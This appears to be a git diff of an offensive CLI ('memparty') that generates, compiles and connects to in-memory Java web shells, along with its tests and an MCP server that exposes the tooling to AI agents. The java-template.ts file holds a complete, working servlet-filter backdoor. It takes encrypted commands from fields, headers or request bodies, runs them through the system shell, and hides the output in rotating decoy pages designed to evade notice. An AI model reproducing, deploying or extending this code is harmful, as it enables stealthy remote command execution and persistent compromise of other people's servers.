beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-build-")); + }); + afterEach(() => { + rmSync(dir, { recursive: true, force: true }); + }); + + it("renders, compiles and submits a Custom generate request", async () => { + const captured: { req?: MemShellGenerateRequest } = {}; + const result = await buildCustomMemshell( + { profile, server: "TongWeb", pass: "p1", secret: "k1", outDir: dir }, + fakeClient(captured), + { compile: stubCompile, servletJar: () => "unused.jar" }, + ); + + const req = captured.req!; + expect(req.shellConfig).toMatchObject({ + server: "TongWeb", + shellTool: "Custom", + shellType: "Filter", + targetJreVersion: 52, + }); + expect(req.shellToolConfig.shellClassName).toBe(result.fullClassName); + expect(req.shellToolConfig.shellClassName).toMatch(/^mimic\.MimicFilter[A-Za-z0-9]{4}$/); + expect(req.shellToolConfig.shellClassBase64).toBe( + Buffer.from("CAFEBABE-fake-class").toString("base64"), + ); + expect(req.injectorConfig).toEqual({ urlPattern: "/*" }); + expect(req.packer).toBe("DefaultBase64"); + + // the generated java carries the credentials, fields and legacy defaults + const java = readFileSync(result.files.java, "utf8"); + expect(java).toContain('PASS = "p1"'); + expect(java).toContain('SECRET = "k1"'); + expect(java).toContain('"verCode", "X-Token"'); + expect(java).toContain("AES/ECB"); + expect(result.cipher).toEqual(LEGACY_CIPHER); + + // artifacts: payload + manifest with everything connect needs + expect(readFileSync(result.files.payloads.DefaultBase64!, "utf8")).toBe("UEFZTE9BRA==\n"); + const manifest = JSON.parse(readFileSync(result.files.manifest, "utf8")); + expect(manifest).toMatchObject({ + tool: "mimic", + profile: "unit", + server: "TongWeb", + pass: "p1", + key: "k1", + className: result.fullClassName, + injectorClassName: "com.example.Injector1", + }); + expect(manifest.connect).toContain("--profile unit --pass p1 --key k1"); + }); + + it("bakes the profile's cipher selection into filter and manifest", async () => { + const captured: { req?: MemShellGenerateRequest } = {}; + const cbcProfile: SiteProfile = { + ...profile, + cipher: { algorithm: "aes-cbc", encoding: "hex", padTail: true, marker: "html-comment" }, + }; + const result = await buildCustomMemshell( + { profile: cbcProfile, server: "Tomcat", pass: "p", secret: "k", outDir: dir, className: "MimicFilterZ9" }, + fakeClient(captured), + { compile: stubCompile, servletJar: () => "unused.jar" }, + ); + const java = readFileSync(result.files.java, "utf8"); + expect(java).toContain("AES/CBC"); + expect(java).toContain("appendPad(s, aesKey)"); + expect(java).toContain("";'); + expect(src).toContain('sb.append(String.format("%02x", b & 0xff))'); + expect(src).not.toContain("AES/ECB"); + }); + + it("renders xor/base64url selections", () => { + const cipher: MimicCipher = { ...LEGACY_CIPHER, algorithm: "xor", encoding: "base64url" }; + const src = renderFilterJava({ ...base, cipher }); + expect(src).toContain("out[i] = (byte) (data[i] ^ k[i % k.length]);"); + expect(src).toContain("Base64.getUrlEncoder().withoutPadding()"); + expect(src).not.toContain("Cipher.getInstance"); + }); + + it("escapes cover templates into single-line Java literals", () => { + const src = renderFilterJava({ ...base, cipher: LEGACY_CIPHER }); + // quotes -> \" — newline -> \n — every non-ASCII char -> \uXXXX + expect(src).toContain('\\u767b\\u5f55\\"\\u9875\\"\\n\\u00a9'); + // and the literal stays on one source line + const tplLine = src.split("\n").find((l) => l.includes("\\u767b"))!; + expect(tplLine.trim().startsWith('"')).toBe(true); + expect(tplLine.trim().endsWith('"')).toBe(true); + }); + + it("renders per-template content types and the placeholder + JSON-body plumbing", () => { + const src = renderFilterJava({ + ...base, + templates: [ + { template: 'a', contentType: "text/html" }, + { template: '{"code":0,"data":"{{payload}}"}', contentType: "application/json" }, + ], + cipher: LEGACY_CIPHER, + }); + expect(src).toContain('CTS = { "text/html", "application/json" }'); + expect(src).toContain('page = tpl.replace("{{payload}}", payload);'); + expect(src).toContain("static String jsonField(String body, String field)"); + expect(src).toContain("static String multipartField(String body, String field)"); + expect(src).toContain("static String xmlField(String body, String field)"); + expect(src).toContain('WRAPPER_B64 = "V1JBUFBFUg=="'); + expect(src).toContain("wrapBody(httpReq, bodyBytes)"); + // bodies are read only for the profile's own Content-Types (allowlist — + // reading anything else would consume a body the shell doesn't own) + expect(src).toContain('BODY_CTS = { "json" }'); + expect(src).toContain("ctMatches(ct)"); + expect(src).toContain("multipartField(bodyText, f)"); + expect(src).toContain("xmlField(bodyText, f)"); + // SSE skins stream chunk by chunk + expect(src).toContain('tplCt.contains("event-stream")'); + expect(src).toContain("response.flushBuffer()"); + expect(src).toContain("response.setContentType(tplCt);"); + // the wrapper must NOT be a compile-time inner class (single-class upload) + expect(src).not.toContain("static class CachedBody"); + }); +}); + +describe("renderCryptoProbe", () => { + it("shares every codec snippet with the filter", () => { + const cipher: MimicCipher = { algorithm: "xor", encoding: "base64url", padTail: true, marker: "js-var" }; + const filter = renderFilterJava({ ...base, cipher }); + const probe = renderCryptoProbe(cipher); + for (const fragment of [ + "static byte[] crypt(", + "static String enc(", + "static byte[] dec(", + "static String encryptField(", + "static byte[] decryptField(", + "appendPad", + "stripPad", + ]) { + expect(filter).toContain(fragment); + expect(probe).toContain(fragment); + } + expect(probe).toContain("public static void main(String[] args)"); + }); +}); diff --git a/tools/cli/src/custom/java-template.ts b/tools/cli/src/custom/java-template.ts new file mode 100644 index 00000000..6c4a0f49 --- /dev/null +++ b/tools/cli/src/custom/java-template.ts @@ -0,0 +1,552 @@ +/** + * Java source rendering for the mimic filter — the server half of the mimic + * protocol, generated from a site profile and compiled by `memparty custom + * build` (see docs/custom-memshell-design.md §B / mimic-memshell-guide.md). + * + * The crypto/encoding/padTail snippets below are the Java twins of + * src/connect/mimic-codecs.ts. They are emitted VERBATIM into both the + * filter and the CryptoProbe harness (renderCryptoProbe) — the probe is what + * src/custom/java-probe.test.ts runs to prove the two languages produce + * byte-compatible wire values. Never edit a snippet in only one place. + * + * The filter itself keeps the proven V6 behaviour: + * - probe with getParameter()/getHeader() only (never touch the body + * stream, so Behinder-style raw-body shells behind us keep working); + * - anything that isn't ours falls through chain.doFilter untouched; + * - any error answers with the plain cover page (stay quiet); + * - the cover pages rotate per response. + */ +import type { MimicCipher } from "../connect/mimic-codecs.js"; + +export interface FilterTemplateOptions { + /** Simple class name, e.g. "MimicFilterAb3d" (package is always `mimic`). */ + className: string; + /** Credential pair — must match the client's --pass/--key at connect time. */ + pass: string; + secret: string; + /** Carrier field names (form fields / headers) that may hold the ciphertext. */ + fields: string[]; + /** + * Lowercase Content-Type needles (contains-match): the body is read only + * when its Content-Type matches one — derived from the profile's body + * shapes. Empty = never touch the body stream: reading a body the shell + * doesn't own consumes it and breaks the app behind us. + */ + bodyContentTypes: string[]; + /** Cover bodies from the site profile (rotated per response, each with its contentType). */ + templates: Array<{ template: string; contentType: string }>; + cipher: MimicCipher; + /** + * Base64 bytes of the body-wrapper classes (renderWrapperJava, compiled by + * the build's first phase). The filter self-defines them at runtime so the + * uploaded shell stays a single self-contained class — MemShellParty's + * Custom generator can only resolve one class. + */ + wrapper: { bodyB64: string; streamB64: string }; +} + +/** + * The body-caching request wrapper, as a standalone fixed source — compiled + * in the build's first phase, then embedded into the filter as base64 (it + * self-defines the classes at runtime). Kept anonymous-class-free ON + * PURPOSE: every named .class file must be embedded and defined explicitly. + */ +export function renderWrapperJava(): string { + return `package mimic; + +import java.io.*; +import javax.servlet.*; +import javax.servlet.http.*; + +/** Re-exposes a consumed request body to downstream filters/servlets. */ +public class CachedBody extends HttpServletRequestWrapper { + private final byte[] body; + + public CachedBody(HttpServletRequest req, byte[] body) { + super(req); + this.body = body; + } + + public ServletInputStream getInputStream() { + return new Stream(body); + } + + public BufferedReader getReader() { + return new BufferedReader(new InputStreamReader(getInputStream())); + } + + static class Stream extends ServletInputStream { + private final ByteArrayInputStream in; + + Stream(byte[] body) { + this.in = new ByteArrayInputStream(body); + } + + public int read() { + return in.read(); + } + + public boolean isFinished() { + return in.available() == 0; + } + + public boolean isReady() { + return true; + } + + public void setReadListener(ReadListener l) {} + } +} +`; +} + +/** Escape a string for embedding as a Java string literal (non-ASCII -> \uXXXX). */ +export function javaStringLiteral(s: string): string { + return s + .replaceAll("\\", "\\\\") + .replaceAll('"', '\\"') + .replaceAll("\r", "") + .replaceAll("\n", "\\n") + // eslint-disable-next-line no-control-regex + .replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0)!.toString(16).padStart(4, "0")}`); +} + +/** Java for the runtime self-loader (defines the embedded wrapper classes once). */ +function wrapperLoaderMethods(opts: FilterTemplateOptions): string { + return ` + /** wrapper class bytes (mimic.CachedBody + its stream) — embedded so the + uploaded shell stays a single self-contained class file */ + static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}"; + static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}"; + + static Class forNameQuiet(String name, ClassLoader cl) { + try { + return Class.forName(name, true, cl); + } catch (Throwable t) { + return null; + } + } + + static Class defineQuiet(ClassLoader cl, String name, String b64) { + try { + java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", + String.class, byte[].class, int.class, int.class); + m.setAccessible(true); + byte[] bytes = java.util.Base64.getDecoder().decode(b64); + return (Class) m.invoke(cl, name, bytes, 0, bytes.length); + } catch (Throwable t) { + return null; // another shell in this JVM already defined it + } + } + + /** Wrap the request so downstream code can re-read the JSON body we consumed. */ + static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception { + ClassLoader cl = ${opts.className}.class.getClassLoader(); + Class c = forNameQuiet("mimic.CachedBody", cl); + if (c == null) { + defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64); + c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64); + if (c == null) c = forNameQuiet("mimic.CachedBody", cl); + } + return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class) + .newInstance(req, body); + } +`; +} + +// --------------------------------------------------------------------------- +// Shared method snippets — identical in the filter and the CryptoProbe. +// --------------------------------------------------------------------------- + +const MD5_METHOD = String.raw` + static String md5Hex(String s) throws Exception { + MessageDigest m = MessageDigest.getInstance("MD5"); + byte[] d = m.digest(s.getBytes("UTF-8")); + StringBuilder sb = new StringBuilder(); + for (byte b : d) sb.append(String.format("%02x", b & 0xff)); + return sb.toString(); + } +`; + +function cryptMethod(algorithm: MimicCipher["algorithm"]): string { + switch (algorithm) { + case "aes-ecb": + return String.raw` + static byte[] crypt(byte[] data, String key, boolean enc) throws Exception { + Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); + c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE, + new SecretKeySpec(key.getBytes("UTF-8"), "AES")); + return c.doFinal(data); + } +`; + case "aes-cbc": + return String.raw` + static byte[] crypt(byte[] data, String key, boolean enc) throws Exception { + Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding"); + SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES"); + if (enc) { + byte[] iv = new byte[16]; + new java.security.SecureRandom().nextBytes(iv); + c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv)); + byte[] ct = c.doFinal(data); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bos.write(iv); + bos.write(ct); + return bos.toByteArray(); + } + c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16)); + return c.doFinal(data, 16, data.length - 16); + } +`; + case "xor": + return String.raw` + static byte[] crypt(byte[] data, String key, boolean enc) throws Exception { + byte[] k = key.getBytes("UTF-8"); + byte[] out = new byte[data.length]; + for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]); + return out; + } +`; + } +} + +function encDecMethods(encoding: MimicCipher["encoding"]): string { + switch (encoding) { + case "base64": + return String.raw` + static String enc(byte[] data) { + return java.util.Base64.getEncoder().encodeToString(data); + } + static byte[] dec(String s) { + return java.util.Base64.getDecoder().decode(s); + } +`; + case "base64url": + return String.raw` + static String enc(byte[] data) { + return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data); + } + static byte[] dec(String s) { + return java.util.Base64.getUrlDecoder().decode(s); + } +`; + case "hex": + return String.raw` + static String enc(byte[] data) { + StringBuilder sb = new StringBuilder(); + for (byte b : data) sb.append(String.format("%02x", b & 0xff)); + return sb.toString(); + } + static byte[] dec(String s) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16)); + return bos.toByteArray(); + } +`; + } +} + +/** Behinder aes_with_magic's trick: junk tail of key-derived length (0-15). */ +const PAD_METHODS = String.raw` + static int padLen(String aesKey) throws Exception { + return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16; + } + static String appendPad(String s, String aesKey) throws Exception { + int n = padLen(aesKey); + StringBuilder sb = new StringBuilder(s); + java.util.Random r = new java.util.Random(); + for (int i = 0; i < n; i++) { + sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62))); + } + return sb.toString(); + } + static String stripPad(String s, String aesKey) throws Exception { + int n = padLen(aesKey); + return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n)); + } +`; + +function fieldTransforms(cipher: MimicCipher): string { + const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s"; + const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v"; + return ` + static String encryptField(byte[] plain, String aesKey) throws Exception { + String s = enc(crypt(plain, aesKey, true)); + return ${afterEncode}; + } + static byte[] decryptField(String v, String aesKey) throws Exception { + String s = ${beforeDecode}; + return crypt(dec(s), aesKey, false); + } +`; +} + +/** Wrap the ciphertext into the fragment injected into the cover page. */ +function wrapPayloadMethod(marker: MimicCipher["marker"]): string { + if (marker === "html-comment") { + return String.raw` + static String wrapPayload(String payload, String passKey) throws Exception { + return ""; + } +`; + } + return String.raw` + static String wrapPayload(String payload, String passKey) throws Exception { + return ""; + } +`; +} + +/** All shared snippets in emission order (filter and probe use this order). */ +function sharedMethods(cipher: MimicCipher): string { + return ( + MD5_METHOD + + cryptMethod(cipher.algorithm) + + encDecMethods(cipher.encoding) + + (cipher.padTail ? PAD_METHODS : "") + + fieldTransforms(cipher) + ); +} + +// --------------------------------------------------------------------------- +// The servlet filter (server half of the protocol). +// --------------------------------------------------------------------------- + +export function renderFilterJava(opts: FilterTemplateOptions): string { + const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts; + const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", "); + const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", "); + const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n"); + const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", "); + + return `package mimic; + +import java.io.*; +import java.security.MessageDigest; +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.*; + +/** + * mimic protocol server (matches src/connect/mimic-codecs.ts): + * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker} + * + * Detection uses getParameter()/getHeader() first, never touching the body + * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a + * caching wrapper, so the app's own endpoints (and other shells behind us) + * still see the body. Anything that is not ours falls through chain.doFilter; + * any error answers with the plain cover template. + */ +public class ${className} implements Filter { + /** carriers that may hold the ciphertext (form fields / headers, from the profile) */ + static final String[] FIELDS = { ${fieldsJava} }; + /** body Content-Type needles the shell owns — anything else passes with its body untouched */ + static final String[] BODY_CTS = { ${bodyCtsJava} }; + /** credentials — must match the client's --pass/--key (key + marker derivation) */ + static final String PASS = "${javaStringLiteral(pass)}"; + static final String SECRET = "${javaStringLiteral(secret)}"; + /** Cover bodies from the site profile — rotated per response so the skin varies. */ + static final String[] TPLS = { +${tplsJava} + }; + /** Content-Type of each cover body (parallel to TPLS). */ + static final String[] CTS = { ${ctsJava} }; + + public void init(FilterConfig filterConfig) {} + public void destroy() {} +${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)} + static byte[] readAll(InputStream in) throws IOException { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buf = new byte[8192]; + int n; + while ((n = in.read(buf)) != -1) bos.write(buf, 0, n); + return bos.toByteArray(); + } + + /** read the body only when its Content-Type is one the profile actually uses */ + static boolean ctMatches(String ct) { + String l = ct.toLowerCase(); + for (String n : BODY_CTS) if (l.contains(n)) return true; + return false; + } + + /** minimal "field":"value" extraction — cipher values carry no quotes/escapes */ + static String jsonField(String body, String field) { + String needle = "\\"" + field + "\\""; + int i = body.indexOf(needle); + if (i < 0) return null; + int colon = body.indexOf(':', i + needle.length()); + if (colon < 0) return null; + int q1 = body.indexOf('"', colon + 1); + if (q1 < 0) return null; + int q2 = body.indexOf('"', q1 + 1); + if (q2 < 0) return null; + return body.substring(q1 + 1, q2); + } + + /** minimal multipart extraction: the value follows the part headers of name="field" */ + static String multipartField(String body, String field) { + String needle = "name=\\"" + field + "\\""; + int i = body.indexOf(needle); + if (i < 0) return null; + int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length()); + int sepLen = 4; + if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; } + if (sep < 0) return null; + int start = sep + sepLen; + int end = body.indexOf('\\n', start); + if (end < 0) end = body.length(); + String v = body.substring(start, end).trim(); + return v.isEmpty() ? null : v; + } + + /** minimal XML extraction: value */ + static String xmlField(String body, String field) { + String open = "<" + field + ">"; + int i = body.indexOf(open); + if (i < 0) return null; + int start = i + open.length(); + int end = body.indexOf("", start); + if (end < 0) return null; + return body.substring(start, end); + } +${wrapperLoaderMethods(opts)} + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + HttpServletRequest httpReq = request instanceof HttpServletRequest + ? (HttpServletRequest) request : null; + String value = null; + for (String f : FIELDS) { + value = request.getParameter(f); + if (value == null && httpReq != null) { + // secretIn=header: the ciphertext may ride a header instead of a form field + value = httpReq.getHeader(f); + } + if (value != null) break; + } + if (value == null && httpReq != null) { + // the ciphertext may ride a raw body of any bodyTemplate shape + // (JSON / multipart / XML…). Read it once and re-expose it + // downstream via the caching wrapper. + String ct = httpReq.getContentType(); + if (ct != null && ctMatches(ct)) { + try { + byte[] bodyBytes = readAll(httpReq.getInputStream()); + String bodyText = new String(bodyBytes, "UTF-8"); + for (String f : FIELDS) { + value = jsonField(bodyText, f); + if (value == null) value = multipartField(bodyText, f); + if (value == null) value = xmlField(bodyText, f); + if (value != null) break; + } + request = wrapBody(httpReq, bodyBytes); + } catch (Throwable wrapperFailed) { + // the body is already consumed — pass through as-is + } + } + } + if (value == null) { + chain.doFilter(request, response); + return; + } + String aesKey; + byte[] cmd; + try { + aesKey = md5Hex(SECRET).substring(0, 16); + cmd = decryptField(value, aesKey); + } catch (Exception notOurs) { + // the field exists but doesn't decrypt — this is someone else's + // legitimate request (e.g. the real login POST), stay invisible + chain.doFilter(request, response); + return; + } + int ti = new java.util.Random().nextInt(TPLS.length); + String tpl = TPLS[ti]; + String tplCt = CTS[ti]; + try { + String command = new String(cmd, "UTF-8"); + boolean win = System.getProperty("os.name").toLowerCase().contains("win"); + ProcessBuilder pb = win + ? new ProcessBuilder("cmd.exe", "/c", command) + : new ProcessBuilder("/bin/sh", "-c", command); + pb.redirectErrorStream(true); + Process proc = pb.start(); + proc.waitFor(); + String payload = encryptField(readAll(proc.getInputStream()), aesKey); + String page; + if (tpl.contains("{{payload}}")) { + // placeholder template (any text format): substitute exactly there + page = tpl.replace("{{payload}}", payload); + } else { + String fragment = wrapPayload(payload, PASS + SECRET); + int idx = tpl.toLowerCase().lastIndexOf(""); + page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment; + } + response.setContentType(tplCt); + response.setCharacterEncoding("UTF-8"); + if (tplCt.contains("event-stream")) { + // flush chunk by chunk — a real SSE endpoint streams, a + // one-shot body is the wrong shape on the wire + java.io.PrintWriter w = response.getWriter(); + for (String chunk : page.split("\\n\\n", -1)) { + if (chunk.isEmpty()) continue; + w.write(chunk); + w.write("\\n\\n"); + w.flush(); + response.flushBuffer(); + try { Thread.sleep(30); } catch (InterruptedException ie) { break; } + } + } else { + response.getWriter().write(page); + } + } catch (Exception e) { + // behave like the cover body on any error — stay quiet + response.setContentType(tplCt); + response.getWriter().write(tpl); + } + } +} +`; +} + +// --------------------------------------------------------------------------- +// CryptoProbe — a tiny CLI harness around the same snippets, used by the +// cross-language tests: `java CryptoProbe enc|dec `. +// --------------------------------------------------------------------------- + +export function renderCryptoProbe(cipher: MimicCipher): string { + return `import java.io.*; +import java.security.MessageDigest; +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; + +/** Cross-language test harness — shares every snippet with the mimic filter. */ +public class CryptoProbe { +${sharedMethods(cipher)} + static String bytesToHex(byte[] data) { + StringBuilder sb = new StringBuilder(); + for (byte b : data) sb.append(String.format("%02x", b & 0xff)); + return sb.toString(); + } + static byte[] hexToBytes(String s) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16)); + return bos.toByteArray(); + } + + public static void main(String[] args) throws Exception { + String aesKey = md5Hex(args[1]).substring(0, 16); + if ("enc".equals(args[0])) { + // hex plaintext on argv -> wire value on stdout + System.out.println(encryptField(hexToBytes(args[2]), aesKey)); + } else { + // wire value on argv -> hex plaintext on stdout + System.out.println(bytesToHex(decryptField(args[2], aesKey))); + } + } +} +`; +} diff --git a/tools/cli/src/custom/javac.ts b/tools/cli/src/custom/javac.ts new file mode 100644 index 00000000..6471b947 --- /dev/null +++ b/tools/cli/src/custom/javac.ts @@ -0,0 +1,66 @@ +/** + * Thin wrapper around the local JDK's `javac` — `memparty custom build` + * compiles the generated filter on the operator's machine, so a JDK (11+) + * must be on PATH. The servlet API jar ships inside the package + * (resources/) so compilation has no other dependency. + */ +import { execFileSync } from "node:child_process"; +import { existsSync } from "node:fs"; +import { fileURLToPath } from "node:url"; + +/** Locate the bundled javax.servlet-api jar (handles both src/ and dist/ layouts). */ +export function servletApiJar(): string { + const candidates = [ + new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url), // dist/*.js + new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url), // src/custom/*.ts + ]; + for (const candidate of candidates) { + const p = fileURLToPath(candidate); + if (existsSync(p)) return p; + } + throw new Error( + "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)", + ); +} + +/** Resolve javac or throw with an install hint. */ +export function findJavac(): string { + try { + execFileSync("javac", ["-version"], { stdio: "pipe" }); + return "javac"; + } catch { + throw new Error( + "javac not found on PATH — 'memparty custom build' compiles Java locally, " + + "install any JDK 11+ and retry", + ); + } +} + +/** True when a working javac is available (used to skip integration tests). */ +export function hasJavac(): boolean { + try { + findJavac(); + return true; + } catch { + return false; + } +} + +export interface CompileOptions { + /** Classpath entries (e.g. the servlet API jar for the filter). */ + classpath?: string[]; +} + +/** + * Compile one or more .java files to Java 8 bytecode into `outDir`. + * UTF-8 source encoding is forced (cover pages may carry CJK text). + */ +export function compileJava(sources: string[], outDir: string, opts: CompileOptions = {}): void { + const javac = findJavac(); + const args = ["-encoding", "UTF-8", "--release", "8"]; + if (opts.classpath && opts.classpath.length > 0) { + args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":")); + } + args.push("-d", outDir, ...sources); + execFileSync(javac, args, { stdio: "pipe" }); +} diff --git a/tools/cli/src/index.ts b/tools/cli/src/index.ts new file mode 100644 index 00000000..59223444 --- /dev/null +++ b/tools/cli/src/index.ts @@ -0,0 +1,88 @@ +/** + * Library entrypoint — re-exports the reusable API client, types, and + * request/output helpers so this package can be consumed programmatically, + * not only as a CLI. + */ +export * from "./api/index.js"; +export { + buildMemShellRequest, + buildProbeRequest, + type MemShellOptions, + type ProbeOptions, +} from "./core/request-builder.js"; +export { emitPayload, shouldDecode, type OutputOptions, type OutputResult } from "./core/output.js"; +export { resolveApiUrl, DEFAULT_API_URL, ENV_VAR } from "./core/config.js"; +export { resolveJreVersion, JDK_VERSIONS } from "./core/jdk.js"; +export { + formatOp, + logOp, + opLogPath, + readOps, + truncateOutput, + OUTPUT_LIMIT, + type OpCategory, + type OpFilter, + type OpLogEntry, +} from "./core/oplog.js"; +export { createMcpServer, startMcpStdio } from "./mcp/server.js"; +export { + autoSaveShell, + getProject, + listProjects, + removeProject, + removeShell, + resolveConnection, + saveProjectMeta, + saveShell, + saveShellMeta, + targetStorePath, + type ConnectionFlags, + type ResolvedConnection, + type ShellInput, + type StoredProject, + type StoredShell, +} from "./core/targets.js"; +export { execBehinder, testBehinder, type BehinderConnectOptions } from "./connect/behinder.js"; +export { execGodzilla, testGodzilla, type GodzillaExecOptions } from "./connect/godzilla.js"; +export { + LEGACY_CIPHER, + deriveMarkers, + resolveCipher, + type MimicCipher, +} from "./connect/mimic-codecs.js"; +export { + buildCustomMemshell, + defaultClassName, + profileSecretFields, + type BuildDeps, + type CustomBuildInput, + type CustomBuildResult, + type GenerateClient, +} from "./custom/build.js"; +export { renderCryptoProbe, renderFilterJava, type FilterTemplateOptions } from "./custom/java-template.js"; +export { hasJavac } from "./custom/javac.js"; +export { + installSkill, + skillSourceDir, + skillTargetDir, + SKILL_NAME, + type InstallSkillOptions, + type SkillInstallResult, + type SkillScope, +} from "./core/skill-install.js"; +export { + testSuo5, + marshalSuo5Map, + unmarshalSuo5Map, + marshalFrameBase64, + unmarshalFrameBase64, + type Suo5ConnectOptions, + type Suo5Mode, +} from "./connect/suo5.js"; +export type { + CommonConnectOptions, + ConnectTestResult, + ConnectTool, + ExecResult, +} from "./connect/types.js"; +export { CLI_VERSION } from "./version.js"; diff --git a/tools/cli/src/mcp/server.test.ts b/tools/cli/src/mcp/server.test.ts new file mode 100644 index 00000000..0f25ee72 --- /dev/null +++ b/tools/cli/src/mcp/server.test.ts @@ -0,0 +1,433 @@ +import { Client } from "@modelcontextprotocol/sdk/client/index.js"; +import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { createServer, type Server } from "node:http"; +import type { AddressInfo } from "node:net"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +import { MemPartyClient } from "../api/client.js"; +import { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16 } from "../connect/crypto.js"; +import { readStringConstant } from "../connect/classfile.js"; +import { createMcpServer } from "./server.js"; + +const GATE = "mcp-gate"; +const BH_KEY = md5Key16("rebeyond"); + +/** Tiny Behinder mock (same protocol as connect/behinder.test.ts). */ +function startBehinderMock(files: Map = new Map()): Promise { + const server = createServer((req, res) => { + const chunks: Buffer[] = []; + req.on("data", (c: Buffer) => chunks.push(c)); + req.on("end", () => { + const fail = () => res.writeHead(200).end(); + if (!(req.headers["user-agent"] ?? "").includes(GATE)) return fail(); + let classBytes: Buffer; + try { + classBytes = aesEcbDecrypt( + Buffer.from(Buffer.concat(chunks).toString("latin1").trim(), "base64"), + BH_KEY, + ); + } catch { + return fail(); + } + const envelope = (status: string, msg: string) => + Buffer.from( + aesEcbEncrypt( + Buffer.from( + JSON.stringify({ + status: Buffer.from(status).toString("base64"), + msg: Buffer.from(msg, "utf8").toString("base64"), + }), + ), + BH_KEY, + ).toString("base64"), + ); + + // FileOperation payload: dispatched on the `mode` field + const mode = readStringConstant(classBytes, "mode"); + if (mode !== null) { + const path = readStringConstant(classBytes, "path") ?? ""; + const content = readStringConstant(classBytes, "content"); + const blockIndex = Number(readStringConstant(classBytes, "blockIndex") ?? "0"); + const blockSize = Number(readStringConstant(classBytes, "blockSize") ?? "0"); + switch (mode) { + case "checkExist": { + const f = files.get(path); + res.writeHead(200).end(f === undefined ? envelope("fail", "") : envelope("success", String(f.length))); + return; + } + case "create": { + const data = Buffer.from(content ?? "", "base64"); + files.set(path, data); + res.writeHead(200).end(envelope("success", `${path}上传完成,远程文件大小:${data.length}`)); + return; + } + case "append": { + const data = Buffer.from(content ?? "", "base64"); + files.set(path, Buffer.concat([files.get(path) ?? Buffer.alloc(0), data])); + res.writeHead(200).end(envelope("success", `${path}追加完成`)); + return; + } + case "downloadPart": { + const f = files.get(path); + if (f === undefined) { + res.writeHead(200).end(envelope("fail", "FileNotFoundException")); + return; + } + const pos = blockIndex * blockSize; + if (pos >= f.length) { + res.writeHead(200).end(envelope("fail", "")); + return; + } + res.writeHead(200).end( + envelope("success", f.subarray(pos, Math.min(pos + blockSize, f.length)).toString("base64")), + ); + return; + } + case "check": { + const f = files.get(path); + if (f === undefined || f.length === 0) { + res.writeHead(200).end(); + return; + } + res.writeHead(200).end(envelope("success", md5Hex(f).slice(0, 16))); + return; + } + default: + res.writeHead(200).end(envelope("fail", `unsupported mode ${mode}`)); + return; + } + } + + const content = readStringConstant(classBytes, "content"); + if (content === null) { + // Cmd payload: answer with the injected `cmd` field + const cmd = readStringConstant(classBytes, "cmd") ?? ""; + const json = JSON.stringify({ + status: Buffer.from("success").toString("base64"), + msg: Buffer.from(`MOCK-EXEC:${cmd}`).toString("base64"), + }); + res.writeHead(200).end(Buffer.from(aesEcbEncrypt(Buffer.from(json), BH_KEY).toString("base64"))); + return; + } + const json = JSON.stringify({ + status: Buffer.from("success").toString("base64"), + msg: Buffer.from(content).toString("base64"), + }); + res.writeHead(200).end(Buffer.from(aesEcbEncrypt(Buffer.from(json), BH_KEY).toString("base64"))); + }); + }); + 